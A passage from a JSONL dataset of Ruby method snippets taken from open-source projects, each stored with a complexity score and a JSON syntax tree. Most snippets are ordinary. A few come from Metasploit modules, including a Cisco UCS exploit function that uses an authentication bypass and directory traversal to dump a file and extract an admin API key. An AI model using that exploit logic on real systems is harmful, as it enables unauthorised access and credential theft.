hildren\":[{\"type\":\"lvar\",\"children\":[\"valid_trips\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"prepared_attributes\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skipped_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Skipped \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skipped_count\"]}]},{\"type\":\"str\",\"children\":[\" trips with invalid or missing required data\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"valid_trips\"]}]}]}","id":"1d57c5c6-b6ee-491f-bad1-49597c53e5d8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/local/allwinner_backdoor.rb","start_line":66,"raw_source":"def check\n    backdoor = '/proc/sunxi_debug/sunxi_debug'\n\n    if file_exist?(backdoor)\n      return CheckCode::Appears(\"#{backdoor} exists\")\n    end\n\n    CheckCode::Safe(\"Backdoor #{backdoor} not found\")\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"backdoor\",{\"type\":\"str\",\"children\":[\"/proc/sunxi_debug/sunxi_debug\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_exist?\",{\"type\":\"lvar\",\"children\":[\"backdoor\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backdoor\"]}]},{\"type\":\"str\",\"children\":[\" exists\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Backdoor \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backdoor\"]}]},{\"type\":\"str\",\"children\":[\" not found\"]}]}]}]}]}","id":"ce7571c5-3cd0-45c1-b260-3c4c6d9d5028"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/resolution_center_thread.rb","start_line":54,"raw_source":"def fetch_messages(client: nil, filter: {}, includes: nil)\n        client ||= Spaceship::ConnectAPI\n        resps = client.get_resolution_center_messages(thread_id: id, filter: filter, includes: includes).all_pages\n        return resps.flat_map(&:to_models)\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_messages\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"filter\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"includes\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]}]},{\"type\":\"lvasgn\",\"children\":[\"resps\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"get_resolution_center_messages\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thread_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"lvar\",\"children\":[\"includes\"]}]}]}]},\"all_pages\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resps\"]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_models\"]}]}]}]}]}]}","id":"7a5719a9-1a01-47d0-9826-0e676bf30100"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/promotion/rules/first_order.rb","start_line":11,"raw_source":"def eligible?(order, options = {})\n          @user = order.try(:user) || options[:user]\n          @email = if options[:email].present?\n                     order.email = options[:email]\n                     order.email\n                   elsif order.email.present?\n                     order.email\n                   end\n          @store = order.store\n\n          if user || email\n            if !completed_orders.blank? && completed_orders.first != order\n              eligibility_errors.add(:base, eligibility_error_message(:not_first_order))\n            end\n          else\n            eligibility_errors.add(:base, eligibility_error_message(:no_user_or_email_specified))\n          end\n\n          eligibility_errors.empty?\n        end","complexity_score":44.4,"ast_json":"{\"type\":\"def\",\"children\":[\"eligible?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"order\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"try\",{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@email\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"email=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"email\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"email\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"email\"]},null]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@store\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"store\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[null,\"email\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"completed_orders\"]},\"blank?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"completed_orders\"]},\"first\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"order\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"eligibility_errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"eligibility_error_message\",{\"type\":\"sym\",\"children\":[\"not_first_order\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"eligibility_errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"eligibility_error_message\",{\"type\":\"sym\",\"children\":[\"no_user_or_email_specified\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"eligibility_errors\"]},\"empty?\"]}]}]}","id":"0d72d378-bfc4-4df9-8412-db4c9068ec48"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/group/settings/general.rb","start_line":60,"raw_source":"def set_lfs_enabled\n            expand_content('permissions-settings')\n            check_element('lfs-checkbox', true)\n            click_element('save-permissions-changes-button')\n          end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_lfs_enabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expand_content\",{\"type\":\"str\",\"children\":[\"permissions-settings\"]}]},{\"type\":\"send\",\"children\":[null,\"check_element\",{\"type\":\"str\",\"children\":[\"lfs-checkbox\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"save-permissions-changes-button\"]}]}]}]}","id":"668e6828-c4aa-47ef-923d-07d06c958af9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/process_memory_cache/helper.rb","start_line":22,"raw_source":"def touch_cache_timestamp(key, time = Time.current.to_f)\n        shared_backend.write(key, time)\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"touch_cache_timestamp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"optarg\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\"to_f\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shared_backend\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"time\"]}]}]}","id":"189c99fc-ee48-4761-8f79-526325c53af2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/abstract_mysql_adapter/active_schema_test.rb","start_line":154,"raw_source":"def test_drop_tables_with_specific_database\n    assert_equal \"DROP TABLE `otherdb`.`people`, `otherdb`.`sobrinho`\", drop_table(\"otherdb.people\", \"otherdb.sobrinho\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_drop_tables_with_specific_database\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"DROP TABLE `otherdb`.`people`, `otherdb`.`sobrinho`\"]},{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"str\",\"children\":[\"otherdb.people\"]},{\"type\":\"str\",\"children\":[\"otherdb.sobrinho\"]}]}]}]}","id":"e2104992-7a15-4292-9600-a6395fc4b5b0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/pfadmin_set_protected_alias.rb","start_line":175,"raw_source":"def postfixadmin_url_alias_delete(target, token)\n    normalize_uri(target_uri.path, 'delete.php' + \"?table=alias&delete=#{CGI.escape(target)}&token=#{token}\")\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"postfixadmin_url_alias_delete\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"delete.php\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?table=alias&delete=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"target\"]}]}]},{\"type\":\"str\",\"children\":[\"&token=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]}]}]}","id":"08c906e0-c6c3-40da-ae16-8fc47dc9daef"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/queries/schemas/filter_dependency_representer_factory.rb","start_line":64,"raw_source":"def representer_class(filter)\n            name = filter_specific_representer_class(filter) ||\n              cf_representer_class(filter) ||\n              type_specific_representer_class(filter) ||\n              custom_representer_class(filter)\n\n            name&.constantize\n          end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"representer_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_specific_representer_class\",{\"type\":\"lvar\",\"children\":[\"filter\"]}]},{\"type\":\"send\",\"children\":[null,\"cf_representer_class\",{\"type\":\"lvar\",\"children\":[\"filter\"]}]}]},{\"type\":\"send\",\"children\":[null,\"type_specific_representer_class\",{\"type\":\"lvar\",\"children\":[\"filter\"]}]}]},{\"type\":\"send\",\"children\":[null,\"custom_representer_class\",{\"type\":\"lvar\",\"children\":[\"filter\"]}]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"constantize\"]}]}]}","id":"48519cfc-cef6-48ed-846f-afe8f5de391d"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/jobs/regular/chat/channel_delete_spec.rb","start_line":55,"raw_source":"def counts\n    {\n      incoming_webhooks: Chat::IncomingWebhook.where(chat_channel_id: chat_channel.id).count,\n      webhook_events:\n        Chat::WebhookEvent.where(incoming_chat_webhook_id: @incoming_chat_webhook_id).count,\n      drafts: Chat::Draft.where(chat_channel: chat_channel).count,\n      channel_memberships: Chat::UserChatChannelMembership.where(chat_channel: chat_channel).count,\n      revisions: Chat::MessageRevision.where(chat_message_id: @message_ids).count,\n      mentions: Chat::Mention.where(chat_message_id: @message_ids).count,\n      upload_references:\n        UploadReference.where(\n          target_id: @message_ids,\n          target_type: Chat::Message.polymorphic_name,\n        ).count,\n      messages: Chat::Message.where(id: @message_ids).count,\n      reactions: Chat::MessageReaction.where(chat_message_id: @message_ids).count,\n    }\n  end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"counts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"incoming_webhooks\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"IncomingWebhook\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_channel_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chat_channel\"]},\"id\"]}]}]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"webhook_events\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"WebhookEvent\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"incoming_chat_webhook_id\"]},{\"type\":\"ivar\",\"children\":[\"@incoming_chat_webhook_id\"]}]}]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"drafts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Draft\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_channel\"]},{\"type\":\"send\",\"children\":[null,\"chat_channel\"]}]}]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel_memberships\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"UserChatChannelMembership\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_channel\"]},{\"type\":\"send\",\"children\":[null,\"chat_channel\"]}]}]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"revisions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"MessageRevision\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_message_id\"]},{\"type\":\"ivar\",\"children\":[\"@message_ids\"]}]}]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mentions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Mention\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_message_id\"]},{\"type\":\"ivar\",\"children\":[\"@message_ids\"]}]}]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"upload_references\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadReference\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_id\"]},{\"type\":\"ivar\",\"children\":[\"@message_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Message\"]},\"polymorphic_name\"]}]}]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"messages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Message\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"ivar\",\"children\":[\"@message_ids\"]}]}]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reactions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"MessageReaction\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_message_id\"]},{\"type\":\"ivar\",\"children\":[\"@message_ids\"]}]}]}]},\"count\"]}]}]}]}","id":"d425a94e-9008-4c15-a89e-52e6c0a42c07"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb","start_line":174,"raw_source":"def quoted_date(value)\n        if value.acts_like?(:time)\n          if default_timezone == :utc\n            value = value.getutc if !value.utc?\n          else\n            value = value.getlocal\n          end\n        end\n\n        result = value.to_fs(:db)\n        if value.respond_to?(:usec) && value.usec > 0\n          result << \".\" << sprintf(\"%06d\", value.usec)\n        else\n          result\n        end\n      end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"quoted_date\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"acts_like?\",{\"type\":\"sym\",\"children\":[\"time\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_timezone\"]},\"==\",{\"type\":\"sym\",\"children\":[\"utc\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"utc?\"]},\"!\"]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"getutc\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"getlocal\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"usec\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"usec\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"str\",\"children\":[\".\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"sprintf\",{\"type\":\"str\",\"children\":[\"%06d\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"usec\"]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"6b5e9480-6249-4b5d-800e-6b9eea2a7edf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/sandbox.rb","start_line":12,"raw_source":"def fabricate!(*args, &prepare_block)\n          if Specs::Helpers::ContextSelector.dot_com? || Runtime::Env.personal_access_tokens_disabled?\n            return fabricate_via_browser_ui!(*args, &prepare_block)\n          end\n\n          fabricate_via_api!(*args, &prepare_block)\n        rescue NotImplementedError\n          fabricate_via_browser_ui!(*args, &prepare_block)\n        end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"fabricate!\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"prepare_block\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Specs\"]},\"Helpers\"]},\"ContextSelector\"]},\"dot_com?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Env\"]},\"personal_access_tokens_disabled?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fabricate_via_browser_ui!\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prepare_block\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"fabricate_via_api!\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prepare_block\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fabricate_via_browser_ui!\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prepare_block\"]}]}]}]},null]}]}","id":"2866ec1d-47f4-44b5-8138-d54e54e31714"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/validations.rb","start_line":82,"raw_source":"def default_validation_context\n      new_record? ? :create : :update\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"default_validation_context\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_record?\"]},{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"update\"]}]}]}","id":"44815006-6e42-4797-abd1-81910e4368dc"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buffer/memory_chunk.rb","start_line":51,"raw_source":"def rollback\n          @chunk.slice!(@chunk_bytes, @adding_bytes)\n          @adding_bytes = @adding_size = 0\n          true\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"rollback\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chunk\"]},\"slice!\",{\"type\":\"ivar\",\"children\":[\"@chunk_bytes\"]},{\"type\":\"ivar\",\"children\":[\"@adding_bytes\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@adding_bytes\",{\"type\":\"ivasgn\",\"children\":[\"@adding_size\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"cf6e5ec0-0119-4823-96c8-8f5650789192"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/cisco_ucs_cloupia_script_rce.rb","start_line":193,"raw_source":"def leak_api_key(*path_parts)\n    path = normalize_uri(path_parts)\n\n    print_status(\"Leaking API key from #{path}\")\n\n    # TODO: Chunk this!\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, '/cloupia/api/rest'),\n      'headers' => {\n        'X-Cloupia-Request-Key' => '' # Auth bypass\n      },\n      'vars_get' => {\n        'opName' => 'userAPI:userAPIDownloadFile',\n        'opData' => {\n          # Directory traversal #2:\n          #   /opt/infra/web_cloudmgr/apache-tomcat/webapps/app/cloudmgr/exports/../../../../../../../../foo/bar -> /foo/bar\n          'param0' => \"../../../../../../../..#{path}\"\n        }.to_json\n      },\n      'partial' => true\n    )\n\n    unless res\n      fail_with(Failure::Unreachable, \"Target did not respond to #{__method__}\")\n    end\n\n    # It will always return 200, even on error\n    unless res.code == 200\n      fail_with(Failure::UnexpectedReply, \"Target returned #{res.code} code\")\n    end\n\n    # There is no spoon\n    if res.body.include?('There is no file with the name')\n      fail_with(Failure::NotFound, \"#{path} does not exist\")\n    end\n\n    # An empty body may indicate permission denied\n    if res.body.empty?\n      fail_with(Failure::UnexpectedReply, \"#{path} is empty or unreadable\")\n    end\n\n    vprint_good(\"Successfully dumped #{path}\")\n\n    @api_key =\n      res.body.scan(/\"loginName\":\"admin\".+\"restKey\":\"(\\h+)\"/).flatten.first\n\n    unless @api_key\n      fail_with(Failure::NoAccess, 'Could not find API key')\n    end\n\n    print_good(\"Found API key: #{@api_key}\")\n  end","complexity_score":38.6,"ast_json":"{\"type\":\"def\",\"children\":[\"leak_api_key\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"path_parts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"path_parts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Leaking API key from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/cloupia/api/rest\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Cloupia-Request-Key\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"opName\"]},{\"type\":\"str\",\"children\":[\"userAPI:userAPIDownloadFile\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"opData\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\"